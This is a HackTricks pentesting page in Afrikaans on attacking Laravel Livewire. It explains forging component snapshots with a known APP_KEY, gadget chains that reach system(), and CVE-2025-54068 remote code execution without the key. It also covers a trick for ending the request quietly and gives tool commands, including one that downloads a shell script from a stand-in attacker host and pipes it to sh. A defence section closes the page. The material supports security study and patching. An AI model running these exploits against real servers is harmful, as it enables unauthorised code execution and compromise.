Laravel Livewire Hydration & Synthesizer Abuse
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Opsomming van die Livewire toestandmasjien
Livewire 3-komponente ruil hul toestand deur middel van snapshots wat data, memo en ’n checksum bevat. Elke POST na /livewire/update herhidreer die JSON-snapshot aan die bedienerkant en voer die in die ry geplaasde calls/updates uit.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Enigeen wat APP_KEY (gebruik om $hashKey af te lei) besit, kan dus arbitrêre snapshots vervals deur die HMAC te herkalkuleer.
Komplekse eienskappe word gekodeer as synthetic tuples wat deur Livewire\Drawer\BaseUtils::isSyntheticTuple() opgespoor word; elke tuple is [value, {"s":"<key>", ...meta}]. Die hydration-kern delegeer eenvoudig elke tuple aan die synth geselekteer in HandleComponents::$propertySynthesizers en loop rekursief oor die kinders:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Hierdie herhalende ontwerp maak Livewire ’n generiese objek-instansiasie-enjin sodra ’n aanvaller óf die tuple-metadata óf enige geneste tuple wat tydens rekursie verwerk word, beheer.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instansieer new $meta['class']($value) nadat elke kind hergehidreer is. Enige klas met ’n array-konstruktor kan geskep word, en elke item kan self ’n sintetiese tuple wees. |
FormObjectSynth (form) | Roep new $meta['class']($component, $path) aan, en ken dan elke publieke eienskap van aanvaller-beheerde kinders toe via $hydrateChild. Konstruktorre wat twee los getipede parameters (of standaard-args) aanvaar, is genoeg om na arbitrêre publieke eienskappe te kom. |
ModelSynth (mdl) | Wanneer key afwesig is in meta, voer dit return new $class; uit, wat nul-argument-instansiasie van enige klas onder aanvallerbeheer moontlik maak. |
Omdat synths $hydrateChild op elke geneste element aanroep, kan arbitrêre gadget-grafieke gebou word deur tuples rekursief te stapel.
Forging snapshots when APP_KEY is known
- Vang ’n wettige
/livewire/updateversoek en dekodeercomponents[0].snapshot. - Inspuit geneste tuples wat na gadget-klasse wys en herbereken
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Herkodeer die snapshot, laat
_token/memoonaangeraak, en herhaal die versoek.
’n Minimale bewys van uitvoering gebruik Guzzle’s FnStream en Flysystem’s ShardedPrefixPublicUrlGenerator. Een tuple instansieer FnStream met konstruktordata { "__toString": "phpinfo" }, die volgende instansieer ShardedPrefixPublicUrlGenerator met [FnStreamInstance] as $prefixes. Wanneer Flysystem elke prefix na string omskakel, roep PHP die aanvaller-geverskafde __toString callable aan, wat enige funksie sonder argumente aanroep.
From function calls to full RCE
Deur Livewire se instansiasie-primitiewe te benut, het Synacktiv phpggc se Laravel/RCE4 ketting aangepas sodat hydrasie ’n objek opstart waarvan die publieke Queueable toestand deserialisering aktiveer:
- Queueable trait – enige objek wat
Illuminate\Bus\Queueablegebruik openbaar publieke$chaineden voerunserialize(array_shift($this->chained))uit indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) word viaCollectionSynth/FormObjectSynthgeïnstantieer met publieke$chainedingevul. - phpggc Laravel/RCE4Adapted – die geserialiseerde blob gestoor in
$chained[0]bouPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()roep uiteindelikcall_user_func_array($closure, $args)aan watsystem($cmd)moontlik maak. - Stealth termination – deur ’n tweede
FnStreamcallable te gee soos[new Laravel\Prompts\Terminal(), 'exit'], eindig die versoek metexit()in plaas van ’n lawaaierige uitsondering, wat die HTTP-antwoord skoon hou.
Automating snapshot forgery
synacktiv/laravel-crypto-killer bevat nou ’n livewire-modus wat alles saamstel:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Die tool ontleed die vasgevangde snapshot, injekteer die gadget tuples, herbereken die checksum, en druk ’n gereed-om-te-stuur /livewire/update payload.
CVE-2025-54068 – RCE sonder APP_KEY
updates word in component state saamgevoeg ná die snapshot checksum gevalideer is. Indien ’n property binne die snapshot is (of word) ’n synthetic tuple, hergebruik Livewire sy meta terwyl dit die attacker-controlled update value hydrateer:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Vind ’n Livewire-komponent met ’n ongetipte publieke eienskap (e.g.,
public $count;). - Stuur ’n update wat daardie eienskap op
[]stel. Die volgende snapshot stoor dit dan as[[], {"s": "arr"}]. - Stel nog ’n
updatespayload op waar daardie eienskap ’n diep-geneste array bevat wat tupels insluit soos[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Tydens rekursie evalueer
hydrate()elke geneste kind onafhanklik, sodat deur die aanvaller gekose synth-sleutels/klasse gehonoreer word selfs al het die buitenste tups en checksum nooit verander nie. - Hergebruik dieselfde
CollectionSynth/FormObjectSynthprimitives om ’n Queueable gadget te instansieer waarvan$chained[0]die phpggc payload bevat. Livewire verwerk die vervalste updates, roepdispatchNextJobInChain()aan, en bereiksystem(<cmd>)sonder omAPP_KEYte ken.
Key reasons this works:
updatesis nie deur die snapshot checksum gedek nie.getMetaForPath()vertrou watter synth-metadata reeds vir daardie eienskap bestaan het, selfs al het die aanvaller dit vroeër gedwing om ’n tups te word deur swak tipering.- Rekursie plus swak tipering laat elke geneste array geïnterpreteer word as ’n heeltemal nuwe tups, sodat arbitrêre synth-sleutels en arbitrêre klasse uiteindelik by hydration uitkom.
Livepyre – end-to-end exploitation
Livepyre outomatiseer beide die APP_KEY-less CVE en die signed-snapshot path:
- Bepaal die geïmplementeerde Livewire-weergawes deur
<script src="/livewire/livewire.js?id=HASH">te parse en die HASH aan kwesbare releases te koppel. - Versamel basis-snapshots deur onskadelike aksies te herhaal en
components[].snapshotte onttrek. - Genereer óf ’n
updates-slegs payload (CVE-2025-54068) óf ’n vervalste snapshot (bekende APP_KEY) wat die phpggc-ketting insluit.
Tipiese gebruik:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check voer ’n nie-destruktiewe probe uit, -F slaan version gating oor, -H en -P voeg aangepaste headers of proxies by, en --function/--param pas die php-funksie aan wat deur die gadget chain aangeroep word.
Verdedigingsoorwegings
- Werk op na reggestelde Livewire-builds (>= 3.6.4 volgens die vendor bulletin) en rol die vendor patch vir CVE-2025-54068 uit.
- Vermy swak getipeerde publieke eienskappe in Livewire-komponente; eksplisiete skala-tipes voorkom dat eienskapswaardes gedwing word na arrays/tuples.
- Registreer slegs die synthesizers wat jy werklik nodig het en behandel gebruiker-beheerde metadata (
$meta['class']) as onbetroubaar. - Weier opdaterings wat die JSON-tipe van ’n eienskap verander (bv. scalar -> array) tensy uitdruklik toegelaat, en lei synth-metadata weer af in plaas daarvan om verouderde tuples te hergebruik.
- Draai
APP_KEYonmiddellik na enige openbaarmaking om, want dit maak offline snapshot-vervalsing moontlik, ongeag hoe goed die kode-basis gepatch is.
Verwysings
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


